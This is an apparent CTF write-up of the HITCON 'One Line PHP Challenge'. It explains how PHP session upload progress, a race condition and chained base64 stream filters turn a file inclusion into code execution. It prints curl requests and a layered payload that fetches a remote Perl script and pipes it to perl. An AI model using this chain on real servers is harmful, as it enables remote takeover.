In every year’s HITCON CTF, I will prepare at least one PHP exploit challenge which the source code is very straightforward, short and easy to review but hard to exploit! I have put all my challenges in this GitHub repo you can check, and here are some lists :P
Phar
protocol to deserialize
malicious object\x00lambda_%d
SELECT 'Ä'='a'
is True
This year, I designed another one and it's the shortest one among all my challenges - One Line PHP Challenge!(There is also another PHP code review challenges called Baby Cake may be you will be interested!) It's only 3 teams(among all 1816 teams)solve that during the competition. This challenge demonstrates how PHP can be squeezed. The initial idea is from @chtg57’s PHP bug report. Since session.upload_progress
is default enabled in PHP so that you can control partial content in PHP SESSION files! Start from this feature, I designed this challenge!
The challenge is simple, just one line and tell you it is running under default installation of Ubuntu 18.04 + PHP7.2 + Apache. Here is whole the source code:
With the upload progress feature, although you can control the partial content in SESSION file, there are still several parts you need to defeat!
In modern PHP configuration, the allow_url_include
is always Off
so the RFI(Remote file inclusion)
is impossible, and due to the harden of new version’s Apache and PHP, it can not also include the common path in LFI exploiting such as /proc/self/environs
or /var/log/apache2/access.log
.
There is also no place can leak the PHP upload temporary filename so the LFI WITH PHPINFO() ASSISTANCE is also impossible :(
The PHP check the value session.auto_start
or function session_start()
to know whether it need to process session on current request or not. Unfortunately, the default value of session.auto_start
is Off
. However, it’s interesting that if you provide the PHP_SESSION_UPLOAD_PROGRESS
in multipart POST data. The PHP will enable the session for you :P
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
$ ls -a /var/lib/php/sessions/
. ..
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -d 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah'
$ ls -a /var/lib/php/sessions/
. ..
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange' -F 'PHP_SESSION_UPLOAD_PROGRESS=blahblahblah' -F 'file=@/etc/passwd'
$ ls -a /var/lib/php/sessions/
. .. sess_iamorange
Although most tutorials on the Internet recommends you to set session.upload_progress.cleanup
to Off
for debugging purpose. The default session.upload_progress.cleanup
in PHP is still On
. It means your upload progress in the session will be cleaned as soon as possible!
Here we use race condition to catch our data!
(Another idea is uploading a large file to keep the progress)
OK, now we can control some data in remote server, but the last tragedy is the prefix. Due to the default setting of session.upload_progress.prefix
, our SESSION file will start with a annoying prefix upload_progress_
! Such as:
In order to match the @<?php
. Here we combine multiple PHP stream filter to bypass that annoying prefix. Such as:
php://filter/[FILTER_A]/.../resource=/var/lib/php/session/sess...
In PHP, the base64
will ignore invalid characters. So we combine multiple convert.base64-decode
filter to that, for the payload VVVSM0wyTkhhSGRKUjBKcVpGaEtjMGxIT1hsWlZ6VnVXbE0xTUdSNU9UTk1Na3BxVEc1Q2MyWklRbXhqYlhkblRGZEJOMUI2TkhaTWVUaDJUSGs0ZGt4NU9IWk1lVGgy
. The SESSION file looks like:
P.s. We add ZZ
as padding to fit the previous garbage
After the the first convert.base64-decode
the payload will look like:
��hi�k� �YUUR3L2NHaHdJR0JqZFhKc0lHOXlZVzVuWlM1MGR5OTNMMkpqTG5Cc2ZIQmxjbXdnTFdBN1B6NHZMeTh2THk4dkx5OHZMeTh2
The second times, PHP will decode the hikYUU...
as:
�) QDw/cGhwIGBjdXJsIG9yYW5nZS50dy93L2JjLnBsfHBlcmwgLWA7Pz4vLy8vLy8vLy8vLy8v
The third convert.base64-decode
, it becomes to our shell payload:
@<?php `curl orange.tw/w/bc.pl|perl -`;?>/////////////
OK, by chaining above techniques(session upload progress + race condition + PHP wrappers), we can get the shell back!
Here is the final exploit!